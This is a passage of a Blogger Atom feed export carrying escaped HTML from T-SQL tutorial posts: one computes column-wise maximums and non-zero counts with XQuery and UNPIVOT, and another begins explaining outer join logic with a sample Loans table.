style="color:black"&gt;XML&amp;nbsp;PATH&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;TYPE&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;T&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;x&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;CROSS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;APPLY&amp;nbsp;x.nodes&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'row'&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;R&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;c&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;The tricky part here is the filtering of the key column from the evaluation for max. Here are the results:&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;keycol&amp;nbsp;&amp;nbsp;max_col&amp;nbsp;&amp;nbsp;max_val&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;-------&amp;nbsp;--------&amp;nbsp;--------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;col4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10&lt;br /&gt;&lt;br&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;col3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&lt;br /&gt;&lt;br&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;col1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&lt;br /&gt;&lt;br&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;col3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;22&lt;br /&gt;&lt;br&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;col1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;How about counting the number of none zero values across columns? Here is a solution for that using very similar query:&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:green"&gt;--&amp;nbsp;count&amp;nbsp;non-zero&amp;nbsp;columns&amp;nbsp;with&amp;nbsp;XQuery&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;c.query&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'keycol'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;/span&gt;&lt;span style="color:black"&gt;.value&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'.'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'INT'&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;c.value&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'count(*[not(local-name(.)=&amp;quot;keycol&amp;quot;)&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;and&amp;nbsp;not(.=0)])'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'INT'&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;cnt_non_zero&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col4&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FOR&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;XML&amp;nbsp;PATH&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;TYPE&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;T&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;x&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;CROSS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;APPLY&amp;nbsp;x.nodes&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'row'&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;R&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;c&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;And the results:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;keycol&amp;nbsp;&amp;nbsp;cnt_non_zero&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;-------&amp;nbsp;------------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&lt;br /&gt;&lt;br&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;br /&gt;&lt;br&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&lt;br /&gt;&lt;br&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4&lt;br /&gt;&lt;br&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;This shows the power of XQuery to solve this problem in untraditional way. The catch? Look at the execution plan of the queries...&lt;br /&gt;&lt;br /&gt;More efficient method to solve the first problem is to use unpivoting. Here is solution using the UNPIVOT operator (the same can be done with ANSI query using cross join with numbers table):&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:green"&gt;--&amp;nbsp;max&amp;nbsp;across&amp;nbsp;columns&amp;nbsp;with&amp;nbsp;UNPIVOT&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;max_col&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;val&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;max_val&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;val&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;ROW_NUMBER&lt;/span&gt;&lt;span style="color:gray"&gt;()&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;OVER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;PARTITION&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;ORDER&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;val&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;DESC&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;rk&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&lt;br /&gt;&lt;br&gt;UNPIVOT&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;val&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FOR&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;IN&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;col1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col4&lt;/span&gt;&lt;span style="color:gray"&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;U&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;T&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;rk&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;And very similar solution using unpivoting to solve the second problem:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:green"&gt;--&amp;nbsp;count&amp;nbsp;non-zero&amp;nbsp;columns&amp;nbsp;with&amp;nbsp;UNPIVOT&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:magenta"&gt;COUNT&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:magenta"&gt;NULLIF&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;val&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;cnt_non_zero&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&lt;br /&gt;&lt;br&gt;UNPIVOT&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;val&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FOR&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;IN&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;col1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col4&lt;/span&gt;&lt;span style="color:gray"&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;U&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;GROUP&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-3691739757402775584?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/3691739757402775584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=3691739757402775584' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3691739757402775584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3691739757402775584'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2009/08/column-aggregates.html' title='Column Aggregates'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-1117604230511601480</id><published>2009-06-29T22:52:00.009-04:00</published><updated>2009-06-29T23:54:11.872-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='joins'/><title type='text'>Outer Joins</title><content type='html'>Outer joins are one of the most widely misunderstood table operators. As useful as they are, it is very easy to incorrectly apply predicates in outer join queries and introduce logical bugs that are very difficult to troubleshoot (or spend hours trying to figure out why a particular query does not produce the desired results). This article demonstrates common misunderstanding about outer joins and how to properly use them.&lt;br /&gt;&lt;br /&gt;First, let's start with explanation of the logical processing of a query (listing here only the steps related to outer join operators, for full explanation of logical query processing read &lt;a href="http://pratchev.blogspot.com/2007/05/anatomy-of-query.html"&gt;Anatomy of a Query&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;1). FROM/CROSS JOIN: The FROM clause is processed to identify source tables; a cross join (Cartesian product) is formed between the two tables involved in the table operator.&lt;br /&gt;&lt;br /&gt;2). ON: The ON clause predicates are applied and only rows that satisfy the predicate(s) (for which the predicates evaluate to TRUE) are included in the temporary result set.&lt;br /&gt;&lt;br /&gt;3). ADD OUTER ROWS: The left side table in LEFT OUTER JOIN and right side table in RIGHT OUTER JOIN (or both tables in FULL OUTER JOIN) are the preserved tables. That means all rows (and selected attribute values) from this table(s) are present in the result set after the outer join operator is applied. At this phase the non-matching rows from the preserved table(s) are added back (non-matched based on the predicates in the ON clause). The attributes for the non-matched rows from the non-preserved table are added as NULLs.&lt;br /&gt;&lt;br /&gt;4). WHERE: The predicates in the WHERE clause are applied and only rows for which the predicates evaluate to TRUE are included in the temporary result set.&lt;br /&gt;&lt;br /&gt;The process repeats for any other table operators in the FROM clause taking the temporary result set from the prior table operator as left input.&lt;br /&gt;&lt;br /&gt;The key concept here is to understand well phases 2, 3, and 4, and how filtering affects the result set. To illustrate this with example, let's create two tables with loans and customers. Each customer can have personal or business loans (or both), or no loans at all.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;INT &lt;/span&gt;&lt;span style="color:gray;"&gt;NOT NULL,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;INT &lt;/span&gt;&lt;span style="color:gray;"&gt;NOT NULL,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date DATETIME &lt;/span&gt;&lt;span style="color:gray;"&gt;NOT NULL,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount DECIMAL&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;15&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2&lt;/span&gt;&lt;span style="color:gray;"&gt;) NOT NULL,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type &lt;/span&gt;&lt;span style="color:blue;"&gt;CHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;1&lt;/span&gt;&lt;span style="color:gray;"&gt;) NOT NULL,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:blue;"&gt;CONSTRAINT &lt;/span&gt;&lt;span style="color:black;"&gt;ck_loan_type&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:blue;"&gt;CHECK &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_type &lt;/span&gt;&lt;span style="color:blue;"&gt;IN &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'B'&lt;/span&gt;&lt;span style="color:gray;"&gt;)), &lt;/span&gt;&lt;span style="color:green;"&gt;-- P=Personal; B=Business&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:blue;"&gt;CONSTRAINT &lt;/span&gt;&lt;span style="color:black;"&gt;pk_loans&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:blue;"&gt;PRIMARY KEY &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;));&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:gray;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;1&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;1&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080101'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;1500.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;2&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080215'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;1000.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;3&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;1&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080311'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;5000.00&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'B'&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Loans&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;loan_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_date&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;loan_type&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;4&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;3&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:red;"&gt;'20080312'&lt;/span&gt;&lt;span style="color:gray;"&gt;, 